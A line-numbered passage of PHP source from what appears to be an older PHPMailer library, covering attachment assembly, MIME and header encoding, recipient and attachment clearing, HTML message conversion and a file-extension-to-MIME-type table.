9922 4 => $type,
9923 5 => false, // isStringAttachment
9924 6 => $disposition,
9925 7 => 0
9926 );
9927
9928 } catch (phpmailerException $exc) {
9929 $this->setError($exc->getMessage());
9930 $this->edebug($exc->getMessage());
9931 if ($this->exceptions) {
9932 throw $exc;
9933 }
9934 return false;
9935 }
9936 return true;
9937 }
9938
9939 /**
9940 * Return the array of attachments.
9941 * @return array
9942 */
9943 public function getAttachments()
9944 {
9945 return $this->attachment;
9946 }
9947
9948 /**
9949 * Attach all file, string, and binary attachments to the message.
9950 * Returns an empty string on failure.
9951 * @access protected
9952 * @param string $disposition_type
9953 * @param string $boundary
9954 * @return string
9955 */
9956 protected function attachAll($disposition_type, $boundary)
9957 {
9958 // Return text of body
9959 $mime = array();
9960 $cidUniq = array();
9961 $incl = array();
9962
9963 // Add all attachments
9964 foreach ($this->attachment as $attachment) {
9965 // Check if it is a valid disposition_filter
9966 if ($attachment[6] == $disposition_type) {
9967 // Check for string attachment
9968 $string = '';
9969 $path = '';
9970 $bString = $attachment[5];
9971 if ($bString) {
9972 $string = $attachment[0];
9973 } else {
9974 $path = $attachment[0];
9975 }
9976
9977 $inclhash = md5(serialize($attachment));
9978 if (in_array($inclhash, $incl)) {
9979 continue;
9980 }
9981 $incl[] = $inclhash;
9982 $name = $attachment[2];
9983 $encoding = $attachment[3];
9984 $type = $attachment[4];
9985 $disposition = $attachment[6];
9986 $cid = $attachment[7];
9987 if ($disposition == 'inline' && isset($cidUniq[$cid])) {
9988 continue;
9989 }
9990 $cidUniq[$cid] = true;
9991
9992 $mime[] = sprintf('--%s%s', $boundary, $this->LE);
9993 $mime[] = sprintf(
9994 'Content-Type: %s; name="%s"%s',
9995 $type,
9996 $this->encodeHeader($this->secureHeader($name)),
9997 $this->LE
9998 );
9999 // RFC1341 part 5 says 7bit is assumed if not specified
10000 if ($encoding != '7bit') {
10001 $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
10002 }
10003
10004 if ($disposition == 'inline') {
10005 $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
10006 }
10007
10008 // If a filename contains any of these chars, it should be quoted,
10009 // but not otherwise: RFC2183 & RFC2045 5.1
10010 // Fixes a warning in IETF's msglint MIME checker
10011 // Allow for bypassing the Content-Disposition header totally
10012 if (!(empty($disposition))) {
10013 $encoded_name = $this->encodeHeader($this->secureHeader($name));
10014 if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
10015 $mime[] = sprintf(
10016 'Content-Disposition: %s; filename="%s"%s',
10017 $disposition,
10018 $encoded_name,
10019 $this->LE . $this->LE
10020 );
10021 } else {
10022 $mime[] = sprintf(
10023 'Content-Disposition: %s; filename=%s%s',
10024 $disposition,
10025 $encoded_name,
10026 $this->LE . $this->LE
10027 );
10028 }
10029 } else {
10030 $mime[] = $this->LE;
10031 }
10032
10033 // Encode as string attachment
10034 if ($bString) {
10035 $mime[] = $this->encodeString($string, $encoding);
10036 if ($this->isError()) {
10037 return '';
10038 }
10039 $mime[] = $this->LE . $this->LE;
10040 } else {
10041 $mime[] = $this->encodeFile($path, $encoding);
10042 if ($this->isError()) {
10043 return '';
10044 }
10045 $mime[] = $this->LE . $this->LE;
10046 }
10047 }
10048 }
10049
10050 $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
10051
10052 return implode('', $mime);
10053 }
10054
10055 /**
10056 * Encode a file attachment in requested format.
10057 * Returns an empty string on failure.
10058 * @param string $path The full path to the file
10059 * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
10060 * @throws phpmailerException
10061 * @see EncodeFile(encodeFile
10062 * @access protected
10063 * @return string
10064 */
10065 protected function encodeFile($path, $encoding = 'base64')
10066 {
10067 try {
10068 if (!is_readable($path)) {
10069 throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
10070 }
10071 $magic_quotes = get_magic_quotes_runtime();
10072 if ($magic_quotes) {
10073 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
10074 set_magic_quotes_runtime(false);
10075 } else {
10076 //Doesn't exist in PHP 5.4, but we don't need to check because
10077 //get_magic_quotes_runtime always returns false in 5.4+
10078 //so it will never get here
10079 ini_set('magic_quotes_runtime', 0);
10080 }
10081 }
10082 $file_buffer = file_get_contents($path);
10083 $file_buffer = $this->encodeString($file_buffer, $encoding);
10084 if ($magic_quotes) {
10085 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
10086 set_magic_quotes_runtime($magic_quotes);
10087 } else {
10088 ini_set('magic_quotes_runtime', ($magic_quotes?'1':'0'));
10089 }
10090 }
10091 return $file_buffer;
10092 } catch (Exception $exc) {
10093 $this->setError($exc->getMessage());
10094 return '';
10095 }
10096 }
10097
10098 /**
10099 * Encode a string in requested format.
10100 * Returns an empty string on failure.
10101 * @param string $str The text to encode
10102 * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
10103 * @access public
10104 * @return string
10105 */
10106 public function encodeString($str, $encoding = 'base64')
10107 {
10108 $encoded = '';
10109 switch (strtolower($encoding)) {
10110 case 'base64':
10111 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
10112 break;
10113 case '7bit':
10114 case '8bit':
10115 $encoded = $this->fixEOL($str);
10116 // Make sure it ends with a line break
10117 if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
10118 $encoded .= $this->LE;
10119 }
10120 break;
10121 case 'binary':
10122 $encoded = $str;
10123 break;
10124 case 'quoted-printable':
10125 $encoded = $this->encodeQP($str);
10126 break;
10127 default:
10128 $this->setError($this->lang('encoding') . $encoding);
10129 break;
10130 }
10131 return $encoded;
10132 }
10133
10134 /**
10135 * Encode a header string optimally.
10136 * Picks shortest of Q, B, quoted-printable or none.
10137 * @access public
10138 * @param string $str
10139 * @param string $position
10140 * @return string
10141 */
10142 public function encodeHeader($str, $position = 'text')
10143 {
10144 $matchcount = 0;
10145 switch (strtolower($position)) {
10146 case 'phrase':
10147 if (!preg_match('/[\200-\377]/', $str)) {
10148 // Can't use addslashes as we don't know the value of magic_quotes_sybase
10149 $encoded = addcslashes($str, "\0..\37\177\\\"");
10150 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
10151 return ($encoded);
10152 } else {
10153 return ("\"$encoded\"");
10154 }
10155 }
10156 $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
10157 break;
10158 /** @noinspection PhpMissingBreakStatementInspection */
10159 case 'comment':
10160 $matchcount = preg_match_all('/[()"]/', $str, $matches);
10161 // Intentional fall-through
10162 case 'text':
10163 default:
10164 $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
10165 break;
10166 }
10167
10168 if ($matchcount == 0) { // There are no chars that need encoding
10169 return ($str);
10170 }
10171
10172 $maxlen = 75 - 7 - strlen($this->CharSet);
10173 // Try to select the encoding which should produce the shortest output
10174 if ($matchcount > strlen($str) / 3) {
10175 // More than a third of the content will need encoding, so B encoding will be most efficient
10176 $encoding = 'B';
10177 if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
10178 // Use a custom function which correctly encodes and wraps long
10179 // multibyte strings without breaking lines within a character
10180 $encoded = $this->base64EncodeWrapMB($str, "\n");
10181 } else {
10182 $encoded = base64_encode($str);
10183 $maxlen -= $maxlen % 4;
10184 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
10185 }
10186 } else {
10187 $encoding = 'Q';
10188 $encoded = $this->encodeQ($str, $position);
10189 $encoded = $this->wrapText($encoded, $maxlen, true);
10190 $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
10191 }
10192
10193 $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
10194 $encoded = trim(str_replace("\n", $this->LE, $encoded));
10195
10196 return $encoded;
10197 }
10198
10199 /**
10200 * Check if a string contains multi-byte characters.
10201 * @access public
10202 * @param string $str multi-byte text to wrap encode
10203 * @return boolean
10204 */
10205 public function hasMultiBytes($str)
10206 {
10207 if (function_exists('mb_strlen')) {
10208 return (strlen($str) > mb_strlen($str, $this->CharSet));
10209 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
10210 return false;
10211 }
10212 }
10213
10214 /**
10215 * Does a string contain any 8-bit chars (in any charset)?
10216 * @param string $text
10217 * @return boolean
10218 */
10219 public function has8bitChars($text)
10220 {
10221 return (boolean)preg_match('/[\x80-\xFF]/', $text);
10222 }
10223
10224 /**
10225 * Encode and wrap long multibyte strings for mail headers
10226 * without breaking lines within a character.
10227 * Adapted from a function by paravoid
10228 * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
10229 * @access public
10230 * @param string $str multi-byte text to wrap encode
10231 * @param string $linebreak string to use as linefeed/end-of-line
10232 * @return string
10233 */
10234 public function base64EncodeWrapMB($str, $linebreak = null)
10235 {
10236 $start = '=?' . $this->CharSet . '?B?';
10237 $end = '?=';
10238 $encoded = '';
10239 if ($linebreak === null) {
10240 $linebreak = $this->LE;
10241 }
10242
10243 $mb_length = mb_strlen($str, $this->CharSet);
10244 // Each line must have length <= 75, including $start and $end
10245 $length = 75 - strlen($start) - strlen($end);
10246 // Average multi-byte ratio
10247 $ratio = $mb_length / strlen($str);
10248 // Base64 has a 4:3 ratio
10249 $avgLength = floor($length * $ratio * .75);
10250
10251 for ($i = 0; $i < $mb_length; $i += $offset) {
10252 $lookBack = 0;
10253 do {
10254 $offset = $avgLength - $lookBack;
10255 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
10256 $chunk = base64_encode($chunk);
10257 $lookBack++;
10258 } while (strlen($chunk) > $length);
10259 $encoded .= $chunk . $linebreak;
10260 }
10261
10262 // Chomp the last linefeed
10263 $encoded = substr($encoded, 0, -strlen($linebreak));
10264 return $encoded;
10265 }
10266
10267 /**
10268 * Encode a string in quoted-printable format.
10269 * According to RFC2045 section 6.7.
10270 * @access public
10271 * @param string $string The text to encode
10272 * @param integer $line_max Number of chars allowed on a line before wrapping
10273 * @return string
10274 * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
10275 */
10276 public function encodeQP($string, $line_max = 76)
10277 {
10278 if (function_exists('quoted_printable_encode')) { // Use native function if it's available (>= PHP5.3)
10279 return $this->fixEOL(quoted_printable_encode($string));
10280 }
10281 // Fall back to a pure PHP implementation
10282 $string = str_replace(
10283 array('%20', '%0D%0A.', '%0D%0A', '%'),
10284 array(' ', "\r\n=2E", "\r\n", '='),
10285 rawurlencode($string)
10286 );
10287 $string = preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
10288 return $this->fixEOL($string);
10289 }
10290
10291 /**
10292 * Backward compatibility wrapper for an old QP encoding function that was removed.
10293 * @see PHPMailer::encodeQP()
10294 * @access public
10295 * @param string $string
10296 * @param integer $line_max
10297 * @param boolean $space_conv
10298 * @return string
10299 * @deprecated Use encodeQP instead.
10300 */
10301 public function encodeQPphp(
10302 $string,
10303 $line_max = 76,
10304 /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
10305 ) {
10306 return $this->encodeQP($string, $line_max);
10307 }
10308
10309 /**
10310 * Encode a string using Q encoding.
10311 * @link http://tools.ietf.org/html/rfc2047
10312 * @param string $str the text to encode
10313 * @param string $position Where the text is going to be used, see the RFC for what that means
10314 * @access public
10315 * @return string
10316 */
10317 public function encodeQ($str, $position = 'text')
10318 {
10319 // There should not be any EOL in the string
10320 $pattern = '';
10321 $encoded = str_replace(array("\r", "\n"), '', $str);
10322 switch (strtolower($position)) {
10323 case 'phrase':
10324 // RFC 2047 section 5.3
10325 $pattern = '^A-Za-z0-9!*+\/ -';
10326 break;
10327 /** @noinspection PhpMissingBreakStatementInspection */
10328 case 'comment':
10329 // RFC 2047 section 5.2
10330 $pattern = '\(\)"';
10331 // intentional fall-through
10332 // for this reason we build the $pattern without including delimiters and []
10333 case 'text':
10334 default:
10335 // RFC 2047 section 5.1
10336 // Replace every high ascii, control, =, ? and _ characters
10337 $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
10338 break;
10339 }
10340 $matches = array();
10341 if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
10342 // If the string contains an '=', make sure it's the first thing we replace
10343 // so as to avoid double-encoding
10344 $eqkey = array_search('=', $matches[0]);
10345 if (false !== $eqkey) {
10346 unset($matches[0][$eqkey]);
10347 array_unshift($matches[0], '=');
10348 }
10349 foreach (array_unique($matches[0]) as $char) {
10350 $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
10351 }
10352 }
10353 // Replace every spaces to _ (more readable than =20)
10354 return str_replace(' ', '_', $encoded);
10355 }
10356
10357
10358 /**
10359 * Add a string or binary attachment (non-filesystem).
10360 * This method can be used to attach ascii or binary data,
10361 * such as a BLOB record from a database.
10362 * @param string $string String attachment data.
10363 * @param string $filename Name of the attachment.
10364 * @param string $encoding File encoding (see $Encoding).
10365 * @param string $type File extension (MIME) type.
10366 * @param string $disposition Disposition to use
10367 * @return void
10368 */
10369 public function addStringAttachment(
10370 $string,
10371 $filename,
10372 $encoding = 'base64',
10373 $type = '',
10374 $disposition = 'attachment'
10375 ) {
10376 // If a MIME type is not specified, try to work it out from the file name
10377 if ($type == '') {
10378 $type = self::filenameToType($filename);
10379 }
10380 // Append to $attachment array
10381 $this->attachment[] = array(
10382 0 => $string,
10383 1 => $filename,
10384 2 => basename($filename),
10385 3 => $encoding,
10386 4 => $type,
10387 5 => true, // isStringAttachment
10388 6 => $disposition,
10389 7 => 0
10390 );
10391 }
10392
10393 /**
10394 * Add an embedded (inline) attachment from a file.
10395 * This can include images, sounds, and just about any other document type.
10396 * These differ from 'regular' attachments in that they are intended to be
10397 * displayed inline with the message, not just attached for download.
10398 * This is used in HTML messages that embed the images
10399 * the HTML refers to using the $cid value.
10400 * @param string $path Path to the attachment.
10401 * @param string $cid Content ID of the attachment; Use this to reference
10402 * the content when using an embedded image in HTML.
10403 * @param string $name Overrides the attachment name.
10404 * @param string $encoding File encoding (see $Encoding).
10405 * @param string $type File MIME type.
10406 * @param string $disposition Disposition to use
10407 * @return boolean True on successfully adding an attachment
10408 */
10409 public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
10410 {
10411 if (!@is_file($path)) {
10412 $this->setError($this->lang('file_access') . $path);
10413 return false;
10414 }
10415
10416 // If a MIME type is not specified, try to work it out from the file name
10417 if ($type == '') {
10418 $type = self::filenameToType($path);
10419 }
10420
10421 $filename = basename($path);
10422 if ($name == '') {
10423 $name = $filename;
10424 }
10425
10426 // Append to $attachment array
10427 $this->attachment[] = array(
10428 0 => $path,
10429 1 => $filename,
10430 2 => $name,
10431 3 => $encoding,
10432 4 => $type,
10433 5 => false, // isStringAttachment
10434 6 => $disposition,
10435 7 => $cid
10436 );
10437 return true;
10438 }
10439
10440 /**
10441 * Add an embedded stringified attachment.
10442 * This can include images, sounds, and just about any other document type.
10443 * Be sure to set the $type to an image type for images:
10444 * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
10445 * @param string $string The attachment binary data.
10446 * @param string $cid Content ID of the attachment; Use this to reference
10447 * the content when using an embedded image in HTML.
10448 * @param string $name
10449 * @param string $encoding File encoding (see $Encoding).
10450 * @param string $type MIME type.
10451 * @param string $disposition Disposition to use
10452 * @return boolean True on successfully adding an attachment
10453 */
10454 public function addStringEmbeddedImage(
10455 $string,
10456 $cid,
10457 $name = '',
10458 $encoding = 'base64',
10459 $type = '',
10460 $disposition = 'inline'
10461 ) {
10462 // If a MIME type is not specified, try to work it out from the name
10463 if ($type == '') {
10464 $type = self::filenameToType($name);
10465 }
10466
10467 // Append to $attachment array
10468 $this->attachment[] = array(
10469 0 => $string,
10470 1 => $name,
10471 2 => $name,
10472 3 => $encoding,
10473 4 => $type,
10474 5 => true, // isStringAttachment
10475 6 => $disposition,
10476 7 => $cid
10477 );
10478 return true;
10479 }
10480
10481 /**
10482 * Check if an inline attachment is present.
10483 * @access public
10484 * @return boolean
10485 */
10486 public function inlineImageExists()
10487 {
10488 foreach ($this->attachment as $attachment) {
10489 if ($attachment[6] == 'inline') {
10490 return true;
10491 }
10492 }
10493 return false;
10494 }
10495
10496 /**
10497 * Check if an attachment (non-inline) is present.
10498 * @return boolean
10499 */
10500 public function attachmentExists()
10501 {
10502 foreach ($this->attachment as $attachment) {
10503 if ($attachment[6] == 'attachment') {
10504 return true;
10505 }
10506 }
10507 return false;
10508 }
10509
10510 /**
10511 * Check if this message has an alternative body set.
10512 * @return boolean
10513 */
10514 public function alternativeExists()
10515 {
10516 return !empty($this->AltBody);
10517 }
10518
10519 /**
10520 * Clear all To recipients.
10521 * @return void
10522 */
10523 public function clearAddresses()
10524 {
10525 foreach ($this->to as $to) {
10526 unset($this->all_recipients[strtolower($to[0])]);
10527 }
10528 $this->to = array();
10529 }
10530
10531 /**
10532 * Clear all CC recipients.
10533 * @return void
10534 */
10535 public function clearCCs()
10536 {
10537 foreach ($this->cc as $cc) {
10538 unset($this->all_recipients[strtolower($cc[0])]);
10539 }
10540 $this->cc = array();
10541 }
10542
10543 /**
10544 * Clear all BCC recipients.
10545 * @return void
10546 */
10547 public function clearBCCs()
10548 {
10549 foreach ($this->bcc as $bcc) {
10550 unset($this->all_recipients[strtolower($bcc[0])]);
10551 }
10552 $this->bcc = array();
10553 }
10554
10555 /**
10556 * Clear all ReplyTo recipients.
10557 * @return void
10558 */
10559 public function clearReplyTos()
10560 {
10561 $this->ReplyTo = array();
10562 }
10563
10564 /**
10565 * Clear all recipient types.
10566 * @return void
10567 */
10568 public function clearAllRecipients()
10569 {
10570 $this->to = array();
10571 $this->cc = array();
10572 $this->bcc = array();
10573 $this->all_recipients = array();
10574 }
10575
10576 /**
10577 * Clear all filesystem, string, and binary attachments.
10578 * @return void
10579 */
10580 public function clearAttachments()
10581 {
10582 $this->attachment = array();
10583 }
10584
10585 /**
10586 * Clear all custom headers.
10587 * @return void
10588 */
10589 public function clearCustomHeaders()
10590 {
10591 $this->CustomHeader = array();
10592 }
10593
10594 /**
10595 * Add an error message to the error container.
10596 * @access protected
10597 * @param string $msg
10598 * @return void
10599 */
10600 protected function setError($msg)
10601 {
10602 $this->error_count++;
10603 if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
10604 $lasterror = $this->smtp->getError();
10605 if (!empty($lasterror) and array_key_exists('smtp_msg', $lasterror)) {
10606 $msg .= '<p>' . $this->lang('smtp_error') . $lasterror['smtp_msg'] . "</p>\n";
10607 }
10608 }
10609 $this->ErrorInfo = $msg;
10610 }
10611
10612 /**
10613 * Return an RFC 822 formatted date.
10614 * @access public
10615 * @return string
10616 * @static
10617 */
10618 public static function rfcDate()
10619 {
10620 // Set the time zone to whatever the default is to avoid 500 errors
10621 // Will default to UTC if it's not set properly in php.ini
10622 date_default_timezone_set(@date_default_timezone_get());
10623 return date('D, j M Y H:i:s O');
10624 }
10625
10626 /**
10627 * Get the server hostname.
10628 * Returns 'localhost.localdomain' if unknown.
10629 * @access protected
10630 * @return string
10631 */
10632 protected function serverHostname()
10633 {
10634 $result = 'localhost.localdomain';
10635 if (!empty($this->Hostname)) {
10636 $result = $this->Hostname;
10637 } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
10638 $result = $_SERVER['SERVER_NAME'];
10639 } elseif (function_exists('gethostname') && gethostname() !== false) {
10640 $result = gethostname();
10641 } elseif (php_uname('n') !== false) {
10642 $result = php_uname('n');
10643 }
10644 return $result;
10645 }
10646
10647 /**
10648 * Get an error message in the current language.
10649 * @access protected
10650 * @param string $key
10651 * @return string
10652 */
10653 protected function lang($key)
10654 {
10655 if (count($this->language) < 1) {
10656 $this->setLanguage('en'); // set the default language
10657 }
10658
10659 if (isset($this->language[$key])) {
10660 return $this->language[$key];
10661 } else {
10662 return 'Language string failed to load: ' . $key;
10663 }
10664 }
10665
10666 /**
10667 * Check if an error occurred.
10668 * @access public
10669 * @return boolean True if an error did occur.
10670 */
10671 public function isError()
10672 {
10673 return ($this->error_count > 0);
10674 }
10675
10676 /**
10677 * Ensure consistent line endings in a string.
10678 * Changes every end of line from CRLF, CR or LF to $this->LE.
10679 * @access public
10680 * @param string $str String to fixEOL
10681 * @return string
10682 */
10683 public function fixEOL($str)
10684 {
10685 // Normalise to \n
10686 $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
10687 // Now convert LE as needed
10688 if ($this->LE !== "\n") {
10689 $nstr = str_replace("\n", $this->LE, $nstr);
10690 }
10691 return $nstr;
10692 }
10693
10694 /**
10695 * Add a custom header.
10696 * $name value can be overloaded to contain
10697 * both header name and value (name:value)
10698 * @access public
10699 * @param string $name Custom header name
10700 * @param string $value Header value
10701 * @return void
10702 */
10703 public function addCustomHeader($name, $value = null)
10704 {
10705 if ($value === null) {
10706 // Value passed in as name:value
10707 $this->CustomHeader[] = explode(':', $name, 2);
10708 } else {
10709 $this->CustomHeader[] = array($name, $value);
10710 }
10711 }
10712
10713 /**
10714 * Create a message from an HTML string.
10715 * Automatically makes modifications for inline images and backgrounds
10716 * and creates a plain-text version by converting the HTML.
10717 * Overwrites any existing values in $this->Body and $this->AltBody
10718 * @access public
10719 * @param string $message HTML message string
10720 * @param string $basedir baseline directory for path
10721 * @param boolean|callable $advanced Whether to use the internal HTML to text converter
10722 * or your own custom converter @see html2text()
10723 * @return string $message
10724 */
10725 public function msgHTML($message, $basedir = '', $advanced = false)
10726 {
10727 preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
10728 if (isset($images[2])) {
10729 foreach ($images[2] as $imgindex => $url) {
10730 // Convert data URIs into embedded images
10731 if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
10732 $data = substr($url, strpos($url, ','));
10733 if ($match[2]) {
10734 $data = base64_decode($data);
10735 } else {
10736 $data = rawurldecode($data);
10737 }
10738 $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
10739 if ($this->addStringEmbeddedImage($data, $cid, '', 'base64', $match[1])) {
10740 $message = str_replace(
10741 $images[0][$imgindex],
10742 $images[1][$imgindex] . '="cid:' . $cid . '"',
10743 $message
10744 );
10745 }
10746 } elseif (!preg_match('#^[A-z]+://#', $url)) {
10747 // Do not change urls for absolute images (thanks to corvuscorax)
10748 $filename = basename($url);
10749 $directory = dirname($url);
10750 if ($directory == '.') {
10751 $directory = '';
10752 }
10753 $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
10754 if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
10755 $basedir .= '/';
10756 }
10757 if (strlen($directory) > 1 && substr($directory, -1) != '/') {
10758 $directory .= '/';
10759 }
10760 if ($this->addEmbeddedImage(
10761 $basedir . $directory . $filename,
10762 $cid,
10763 $filename,
10764 'base64',
10765 self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
10766 )
10767 ) {
10768 $message = preg_replace(
10769 '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
10770 $images[1][$imgindex] . '="cid:' . $cid . '"',
10771 $message
10772 );
10773 }
10774 }
10775 }
10776 }
10777 $this->isHTML(true);
10778 // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
10779 $this->Body = $this->normalizeBreaks($message);
10780 $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
10781 if (empty($this->AltBody)) {
10782 $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
10783 self::CRLF . self::CRLF;
10784 }
10785 return $this->Body;
10786 }
10787
10788 /**
10789 * Convert an HTML string into plain text.
10790 * This is used by msgHTML().
10791 * Note - older versions of this function used a bundled advanced converter
10792 * which was been removed for license reasons in #232
10793 * Example usage:
10794 * <code>
10795 * // Use default conversion
10796 * $plain = $mail->html2text($html);
10797 * // Use your own custom converter
10798 * $plain = $mail->html2text($html, function($html) {
10799 * $converter = new MyHtml2text($html);
10800 * return $converter->get_text();
10801 * });
10802 * </code>
10803 * @param string $html The HTML text to convert
10804 * @param boolean|callable $advanced Any boolean value to use the internal converter,
10805 * or provide your own callable for custom conversion.
10806 * @return string
10807 */
10808 public function html2text($html, $advanced = false)
10809 {
10810 if (is_callable($advanced)) {
10811 return call_user_func($advanced, $html);
10812 }
10813 return html_entity_decode(
10814 trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
10815 ENT_QUOTES,
10816 $this->CharSet
10817 );
10818 }
10819
10820 /**
10821 * Get the MIME type for a file extension.
10822 * @param string $ext File extension
10823 * @access public
10824 * @return string MIME type of file.
10825 * @static
10826 */
10827 public static function _mime_types($ext = '')
10828 {
10829 $mimes = array(
10830 'xl' => 'application/excel',
10831 'js' => 'application/javascript',
10832 'hqx' => 'application/mac-binhex40',
10833 'cpt' => 'application/mac-compactpro',
10834 'bin' => 'application/macbinary',
10835 'doc' => 'application/msword',
10836 'word' => 'application/msword',
10837 'class' => 'application/octet-stream',
10838 'dll' => 'application/octet-stream',
10839 'dms' => 'application/octet-stream',
10840 'exe' => 'application/octet-stream',
10841 'lha' => 'application/octet-stream',
10842 'lzh' => 'application/octet-stream',
10843 'psd' => 'application/octet-stream',
10844 'sea' => 'application/octet-stream',
10845 'so' => 'application/octet-stream',
10846 'oda' => 'application/oda',
10847 'pdf' => 'application/pdf',
10848 'ai' => 'application/postscript',
10849 'eps' => 'application/postscript',
10850 'ps' => 'application/postscript',
10851 'smi' => 'application/smil',
10852 'smil' => 'application/smil',
10853 'mif' => 'application/vnd.mif',
10854 'xls' => 'application/vnd.ms-excel',
10855 'ppt' => 'application/vnd.ms-powerpoint',
10856 'wbxml' => 'application/vnd.wap.wbxml',
10857 'wmlc' => 'application/vnd.wap.wmlc',
10858 'dcr' => 'application/x-director',
10859 'dir' => 'application/x-director',
10860 'dxr' => 'application/x-director',
10861 'dvi' => 'application/x-dvi',
10862 'gtar' => 'application/x-gtar',
10863 'php3' => 'application/x-httpd-php',
10864 'php4' => 'application/x-httpd-php',
10865 'php' => 'application/x-httpd-php',
10866 'phtml' => 'application/x-httpd-php',
10867 'phps' => 'application/x-httpd-php-source',
10868 'swf' => 'application/x-shockwave-flash',
10869 'sit' => 'application/x-stuffit',
10870 'tar' => 'application/x-tar',
10871 'tgz' => 'application/x-tar',
10872 'xht' => 'application/xhtml+xml',
10873 'xhtml' => 'application/xhtml+xml',
10874 'zip' => 'application/zip',
10875 'mid' => 'audio/midi',
10876 'midi' => 'audio/midi',
10877 'mp2' => 'audio/mpeg',
10878 'mp3' => 'audio/mpeg',
10879 'mpga' => 'audio/mpeg',
10880 'aif' => 'audio/x-aiff',
10881 'aifc' => 'audio/x-aiff',
10882 'aiff' => 'audio/x-aiff',
10883 'ram' => 'audio/x-pn-realaudio',
10884 'rm' => 'audio/x-pn-realaudio',
10885 'rpm' => 'audio/x-pn-realaudio-plugin',
10886 'ra' => 'audio/x-realaudio',
10887 'wav' => 'audio/x-wav',
10888 'bmp' => 'image/bmp',
10889 'gif' => 'image/gif',
10890 'jpeg' => 'image/jpeg',
10891 'jpe' => 'image/jpeg',
10892 'jpg' => 'image/jpeg',
10893 'png' => 'image/png',
10894 'tiff' => 'image/tiff',
10895 'tif' => 'image/tiff',
10896 'eml' => 'message/rfc822',
10897 'css' => 'text/css',
10898 'html' => 'text/html',
10899 'htm' => 'text/html',
10900 'shtml' => 'text/html',
10901 'log' => 'text/plain',
10902 'text' => 'text/plain',
10903 'txt' => 'text/plain',
10904 'rtx' => 'text/richtext',
10905 'rtf' => 'text/rtf',
10906 'vcf' => 'text/vcard',
10907 'vcard' => 'text/vcard',
10908 'xml' => 'text/xml',
10909 'xsl' => 'text/xml',
10910 'mpeg' => 'video/mpeg',
10911 'mpe' => 'video/mpeg',
10912 'mpg' => 'video/mpeg',
10913 'mov' => 'video/quicktime',
10914 'qt' => 'video/quicktime',
10915 'rv' => 'video/vnd.rn-realvideo',
10916 'avi' => 'video/x-msvideo',
10917 'movie' => 'video/x-sgi-movie'
10918 );
10919 return (array_key_exists(strtolower($ext), $mimes) ? $mimes[strtolower($ext)]: 'application/octet-stream');
10920 }
10921
10922 /**
10923 * Map a file name to a MIME type.
10924 * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
10925 * @param string $filename A file name or full path, does not need to exist as a file
10926 * @return string
10927 * @static
10928 */
10929 public static function filenameToType($filename)
10930 {
10931 // In case the path is a URL, strip any query string before getting extension
10932 $qpos = strpos($filename, '?');
10933 if (false !== $qpos) {
10934 $filename = substr($filename, 0, $qpos);
10935 }
10936 $pathinfo = self::mb_pathinfo($filename);
10937 return self::_mime_types($pathinfo['extension']);
10938 }
10939
10940 /**
10941 * Multi-byte-safe pathinfo replacement.
10942 * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
10943 * Works similarly to the one in PHP >= 5.2.0
10944 * @link http://www.php.net/manual/en/function.pathinfo.php#107461
10945 * @param string $path A filename or path, does not need to exist as a file
10946 * @param integer|string $options Either a PATHINFO_* constant,
10947 * or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
10948 * @return string|array
10949 * @static
10950 */
10951 public static function mb_pathinfo($path, $options = null)
10952 {
10953 $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
10954 $pathinfo = array();
10955 if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
